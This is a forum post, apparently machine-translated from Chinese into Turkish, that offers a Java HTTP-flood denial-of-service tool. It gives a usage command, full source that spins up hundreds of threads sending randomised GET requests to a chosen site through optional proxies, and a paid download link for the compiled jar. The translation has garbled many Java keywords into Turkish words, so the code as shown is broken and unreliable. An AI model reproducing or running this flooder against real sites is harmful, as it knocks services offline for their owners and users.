jar kodu dDOS saldırısı java tarafından uygulandı. Ancak, geleneksel dDos'lardan farkı yoktur. Bu yazılım, bir sayfaya yapılan DDOS saldırısıdır. Nasıl kullanılır: java -jar ccddos.jar www.xxx.com 80 10 /index.do kullanıcı adı=xxx 80
[mw_shl_code=java,true]import java.io.IOException; java.net.ConnectException import et; java.net.InetSocketAddress import et; java.nio.ByteBuffer içe aktar; java.nio.channels.SelectionKey içe aktar; java.nio.channels.Selector'u import et; java.nio.channels.SocketChannel içe aktar; java.util.Iterator içe aktarmak; java.util.Random içe aktar; java.util.Set'i içe aktar; java.util.Timer içe aktar; java.util.TimerTask'i içe aktarmak; java.util.vector içe aktarmak;
/** * Şeytan iplikleri
* * @author yönetimi
* */ Public Class testi { özel String host, uri, param; özel Int limanı; özel son<CCDDOSThread> Vektör v = yeni <CCDDOSThread>Vektör(); özel InetSocketAddress isa; özel int threadsCount = 500; Thread sayısı özel Rastgele r = yeni Random(); özel uzun zaman aşımı = 5000l;
/** * Saldırıyı aç */ public void start() { için (int i = 0; i < threadsCount; i++) { CCDDOSThread t = yeni CCDDOSThread(); v.add(t); t.start();
} Zamanlayıcı t = yeni Zamanlayıcı(); t.schedule(new TimerTask() { public void run() { int sayısı = 0, zaman aşımına bağlı konular = 0; uzun ct = System.currentTimeMillis(); for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); if (th.isCancle() || !th.isAlive()) { it.remove(); th = null; say++; } aksi takdirde (ct - th.start > timeout) { Zaman aşımı dış uç timeouttopics++; th.setCancle(doğru); th.interrupt(); it.remove(); th = null; say++; } } if (sayı == 0) { dönmek; } System.out.println ("İş parçacığı kapandı:"+count+", burada zaman aşımı iş parçacığı bağlanmış:" + zaman aşırı iplikleri); için (int i = 0; Ben < sayıyorum; i++) { CCDDOSThread th = yeni CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println ("Daemon iş başlığı başlatıldı:"); }
/** * @param args */ public static void main(String[] args) { if (args.length < 6) { System.out.println ("Talimatlar:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } aksi takdirde (args.length >= 8) { Bir acenteyle kurma System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
test m = yeni test(); m.host = args[0]; m.port = Tam sayı.valueOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Tam sayı.valueOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = yeni InetSocketAddress (m.host, m.port); m.start(); }
/** * Saldırı iplikleri * * @author zhanghongbo * */ class CCDDOSThread extend Thread { özel Boolean cancle = yanlış; public long start = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
public boolean isCancle() { dönüş cancle; }
public void run() { uzun başlangıç = System.currentTimeMillis(); Seçici seçici; Try { selector = Selector.open(); SocketChannel sc; Try { sc = SocketChannel.open(isa); } yakalamak (ConnectException ex) { System.out.println(örneğin.getMessage()); cancle = doğru; selector.close(); dönmek; }
sc.configureBlocking(yanlış); sc.register(seçici, SelectionKey.OP_WRITE | SelectionKey.OP_READ); wait: while (selector.select() > 0 && !cancle) { if (System.currentTimeMillis() - zaman aşımına > başlat) { cancle = doğru; mola bekle; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); while (it.hasNext() & !cancle) { if (System.currentTimeMillis() - zaman aşımına > başlat) { cancle = doğru; mola bekle; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { String head = "GET" + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Bağlantı:yakın\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write(bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} yakalama (IOException ex) { cancle = doğru; } } }
} [/mw_shl_code]
Bitmiş ürün ve kaynak kodu indirme:
java ddos.zip
(8.42 KB, İndirme sayısı: 0, Satış fiyatı: 2 Grain MB)
|